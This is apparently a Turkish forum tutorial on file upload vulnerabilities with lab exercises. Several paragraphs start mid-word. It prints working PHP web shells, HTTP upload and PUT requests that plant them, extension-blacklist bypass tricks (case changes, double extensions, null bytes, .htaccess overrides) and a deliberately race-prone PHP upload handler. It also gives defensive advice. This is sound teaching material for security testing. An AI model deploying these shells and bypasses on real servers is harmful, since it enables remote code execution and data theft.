File Upload Vulnerabilities (Dosya Yükleme) | Güvenlik Açıkları | Yöntemler

layıp zafiyetlere sahip web serverını ele geçireceksiniz. Dosya yükleme işlemlerinin ne kadar yaygın olduğu göze alındığında bunları doğru bir şekilde test etmeyi bilmek şarttır.

1. Web sitesinin doğru bir şekilde doğrulayamadığı boyut, tür, içerik vb. durumu
2. Dosya başarılı bir şekilde upload edildikten sonra ne tür kısıtlamalar getirildiği

lar(ana bilgisayar) boyunca exploit edilebilecek yani sömürülebilecek tutarsızlıklara yol açabilir. Konunun devamında bu zafiyetlerden bazılarını kullanarak uzaktan kod yürütmek için web shell yükleyeceğiz bunu nasıl yapacağınızı göreceksiniz hatta gerçekçi hedeflere karşı pratik yapabileceğiniz bazı laboratuvarlar(labs) bile oluşturduk.

File Upload zafiyetlerine geçmeden önce bu soruya cevap verebilmeniz işleyişi anlama açısından oldukça önemli. Geçmişten bu yana web siteleri neredeyse tamamen istendiğinde kullanıcılara sunulan statik dosyalardan oluşurdu. Sonuç olarak, her isteğin yolu sunucunun dosya sistemindeki dizinlerin ve dosyaların hiyerarşisiyle birebir eşleştirilebilirdi. Günümüzde web siteleri giderek daha dinamik hale geliyor ve bir isteğin yolu genelde dosya sistemi ile direkt olarak ilişkiye sahip olmuyor. Bununla birlikte, web serverları görüntüler, stil sayfaları gibi statik dosyalar için hala istekleri işleyebilmekte.

Bu statik dosyaların işlenmesi süreci hala büyük ölçüde aynı. Bir noktada sunucu istekte bulunan dosya uzantısını belirlemek için istekteki yolu ayrıştırır. Daha sonra -genellikle uzantıları ve MIME türleri arasında önceden yapılandırılmış eşlemelerin bir listesini karşılaştırarak- bunu istekte bulunulan dosyanın türünü belirlemek için kullanır. Daha sonra ne olacağı ise dosya türüne ve server konfigürasyonuna bağlı olarak değişir.

• Eğer bu dosya türü çalıştırılabilir değilse (mesela bir görüntü veya statik bir html sayfasıysa) server dosyanın içeriğini HTTP yanıtıyla birlikte istemciye gönderebilir.
• Eğer dosya türü çalıştırılabilir ise, mesela bir PHP dosyasıysa ve server bu tür dosyaları çalıştırmak için yapılandırılmışsa önce HTTP isteğindeki başlık (header) ve parametrelere bakarak değişkenler atayacak daha sonra da scripti çalıştıracaktır. Elde edilen sonuç daha sonra bir HTTP yanıtıyla birlikte istemciye gönderilebilir.
• Eğer dosya türü çalıştırılabilir ise ancak server buna uygun yapılandırılmamışsa genellikle bir hata ile yanıt verir ancak bazı durumlarda dosyanın içeriği hala düz metin olarak istemciye sunulabilir. Bu tabii ki bir yanlış yapılandırılmadır ve kaynak kodu gibi diğer hassas bilgilerin sızdırılmasına sebep olabilir. Bunun örneğini göreceğiz.

<?php echo file_get_contents('/path/to/target/file'); ?>

<?php echo system($_GET['command']); ?>

GET /ornek/saldirimiz.php?command=id HTTP/1.1

Valla açıkçası File Upload saldırılarına yönelik önlem almamış bir site bulmak pek mümkün değil. Ama önlemlerin olması başka, bu önlemlerin sağlam önlemler olması başka Bu kısımda serverların file uploadlarını doğrulamak ve süzgeçten geçirmek için kullandığı bazı yöntemlere ve aynı zamanda bu mekanizmalardan uzaktan kod yürütmek için nasıl faydalanacağınıza bakacağız.

POST /images HTTP/1.1
Host: normal-website.com
Content-Length: 12345
Content-Type: multipart/form-data; boundary=---------------------------012345678901234567890123456

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="image"; filename="example.jpg"
Content-Type: image/jpeg

[...binary content of example.jpg...]

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="description"

This is an interesting description of my image.

---------------------------012345678901234567890123456
Content-Disposition: form-data; name="username"

wiener
---------------------------012345678901234567890123456--

GET /static/exploit.php?command=id HTTP/1.1
Host: normal-website.com


HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 39

<?php echo system($_GET['command']); ?>

Kullanıcıların siteye zararlı bir script yüklemesini engellemenin en açık yolu potansiyel olarak zararlı olabilecek dosya türlerini engellemektir mesela .php. Zaten bu kara listelemede tıpkı teknolojik ürünlerde olabilen kronik sorun dediğimiz şey gibi zararlı olabilecek bütün dosya uzantılarını ekleyememek diye bir durum vardır. Kara listeler bazen daha az bilinen ancak yürütülebilir olabilen .php5, .shtml gibi dosya uzantıları kullanılarak bypass edilebilir.

LoadModule php_module /usr/lib/apache2/modules/libphp.so
AddType application/x-httpd-php .php

ları .htaccess adlı bir dosyadan dizine özel yapılandırmayı yükler. Benzer şekilde geliştiriciler IIS serverlarda bunu web.config dosyası ile yaparlar. Mesela kullanıcılara .JSON dosyalarının gösterilmesine izin vermeleri bu yapılandırmalarla olur.

Kod:

<staticContent>
    <mimeMap fileExtension=".json" mimeType="application/json" />
</staticContent>

Web serverları bu tür yapılandırma dosyalarını kullanır ama genellikle HTTP istekleriyle bunlara erişmenize izin verilmez. Bununla birlikte bazı serverlar kendi kötü amaçlı olarak kullanacağınız yapılandırma dosyanızı yüklemenizi engellemez Bu durumda ihtiyaç duyduğunuz dosya kara listeye alınsa bile serverı herhangi bir dosya uzantısını yürütülebilir bir MIME türüyle eşleştirmesi için kandırabilirsiniz.

En kapsamlı kara listeler bile klasik obfuscation teknikleri kullanılarak potansiyel olarak bypass edilebilir. Diyelim ki doğrulama kodu büyük küçük harfe duyarlı ve exploit.pHp nin aslında .php dosyası olduğunu anlayamıyor. Eğer sonrasında gelen dosya uzantısını MIME türüne eşleyen kod büyük küçük harfe duyarlı değilse bu PHP dosyalarınızı doğrulamadan geçirmenizi ve server tarafından yürütebilmenizi sağlar.

Benzer sonuçları elde etmek için aşağıdaki teknikler de kullanılabilir:

• Birden fazla uzantı sağlama. Dosya adını ayrıştırmak için kullanılan algoritmaya göre exploit.php.jpg dosyası hem bir php dosyası hem de jpg resmi zannedilebilir.
• Ek karakterler ekleyin. örneğin exploit.php. gibi bazen bu noktalar ve boşluklar işinize yarayabilir
• exploit%2Ephp gibi . / \ yani nokta, slash, backslash gibi işaretler için URL encoding deneyin. Dosya uzantısı doğrulaması sırasında çözümlenmezse ve daha sonra sunucu tarafında çözümlenirse bu da zararlı dosyalarımızı upload etmemizi sağlayabilir.
• Dosya uzantısından önce noktalı virgüller veya URL kodlu null byte karakterleri ekleyin. Eğer doğrulama PHP veya Java gibi yüksek düzeyli bir dilde yazılmış da olsa server dosyayı C/C++ gibi düşük seviyeli dillerin fonksiyonlarıyla işlediğinde dosya adının sonunda tutarsızlıklara neden olabilir. Örnek: exploit.asp;.jpg veya exploit.asp%00.jpg
• Multibyte unicode karakterleri kullanmayı deneyin. Bunlar unicode dönüştürülmesi sırasında null bytelara ve noktalara dönüştürülebilir. Örneğin xC0 x2E, xC4 xAE veya xC0 xAE -----> (dosya adı utf-8 olarak ayrıştırıldıktan sonra) x2E'ye dönüştürülebilir ancak daha sonra path için kullanılmadan önce ASCII karakterlerine dönüştürülebilir.

exploit.p.phphp

payloadları oluşturabilirsiniz. Ve eğer yüklenen dosya daha sonra diğer kullanıcıların ziyaret ettiği bir sayfada görüntülendiğinde, eğer yüklediğiniz dosya aynı kaynaktan geliyorsa tarayıcıları sayfayı oluşturmaya çalışırken scripti çalıştıracaktır.

isteklerini destekler yapıda olabileceğidir. Eğer bununla ilgili önlemler alınmamışsa bu durum sitede upload fonksiyonları olmasa bile zararlı dosyaların yüklenmesi için alternatif yöntem oluşturur.

HTTP:

PUT /images/exploit.php HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-httpd-php
Content-Length: 49

<?php echo file_get_contents('/path/to/file'); ?>

Farklı noktalara OPTIONS isteklerini göndermeyi deneyebilirsiniz

• Dosya uzantılarını kontrol ederken belirli dosya uzantılarını engelleyen bir blacklist yerine whitelist kullanmayı deneyin.
• Dosya adının dizine yorumlanabilecek şekilde substring içermediğinden emin olun.
• Var olan dosyaların override edilmesini önlemek için yüklenen dosyaların adlarını değiştirin.
• Dosyaları tamamen doğrulamadan serverın kalıcı dosya sistemine yüklemeyin ve kendi doğrulama processlerinizi yazmak yerine frameworkleri kullanın.

​

Bu labde ve bundan sonra vereceklerimde resim upload açıkları mevcut. Kullanıcıların upload ettiği dosyaları serverın dosya sisteminde depolamadan önce herhangi bir doğrulama gerçekleştirmiyor. Labı çözmek için PHP Web shell upload edip /home/carlos/secret dosyasının içeriğini görmek için kullanın

Genişletmek için tıkla ...

bu sefer kullanıcı tarafından kontrol edilebilen inputa (girdiye) dayalı ve beklenmedik dosya türlerini engellemeye çalışıyor. Hesaba giriş bilgileri ve amaç yine aynı.

Genişletmek için tıkla ...

Server kullanıcı tarafından gelen dosyaların çalıştırılmasını engellemek için yapılandırılmış. Ancak bu ikincil bir güvenlik açığı ile bypass edilebiliyor Hesaba giriş bilgileri ve amaç yine aynı.

Genişletmek için tıkla ...

Konuda da bahsettiğim gibi bazı belirli dosya türleri kara listeye alınmış ama bu kara listede bulabileceğiniz bir güvenlik açığı var çok da temel. Bu sayede kara listeyi bypass edebiliyorsunuz. Hesaba giriş bilgileri ve amaç yine aynı.

Genişletmek için tıkla ...

Tıklayınız

Not: Size benden bir tavsiye bu labı çözmek için iki farklı dosya upload etmeniz gerekiyor

Bazı dosya türleri kara listeye alınmış ancak bazı obfuscation teknikleri ile yani sistemi aldatarak bypass edebilirsiniz konuda bahsetmiştim. Amaç ve hesaba giriş bilgileri yine aynı.

Genişletmek için tıkla ...

Upload edilen içeriğin gerçek bir resim olup olmadığını kontrol etse de sunucu taraflı kod yürütmek mümkün. Amaç yine aynı bilgiler de aynı kolay gelsin.

Genişletmek için tıkla ...

Tıklayınız

Taktik: ExifTool'a bir bakın derim

Upload edilen dosyalara karşı sağlam bir doğrulama gerçekleştirse de race condition açığı ile bypass etmek mümkün.

Genişletmek için tıkla ...

<?php
$target_dir = "avatars/";
$target_file = $target_dir . $_FILES["avatar"]["name"];

// temporary move
move_uploaded_file($_FILES["avatar"]["tmp_name"], $target_file);

if (checkViruses($target_file) && checkFileType($target_file)) {
    echo "The file ". htmlspecialchars( $target_file). " has been uploaded.";
} else {
    unlink($target_file);
    echo "Sorry, there was an error uploading your file.";
    http_response_code(403);
}

function checkViruses($fileName) {
    // checking for viruses
    ...
}

function checkFileType($fileName) {
    $imageFileType = strtolower(pathinfo($fileName,PATHINFO_EXTENSION));
    if($imageFileType != "jpg" && $imageFileType != "png") {
        echo "Sorry, only JPG & PNG files are allowed\n";
        return false;
    } else {
        return true;
    }
}
?>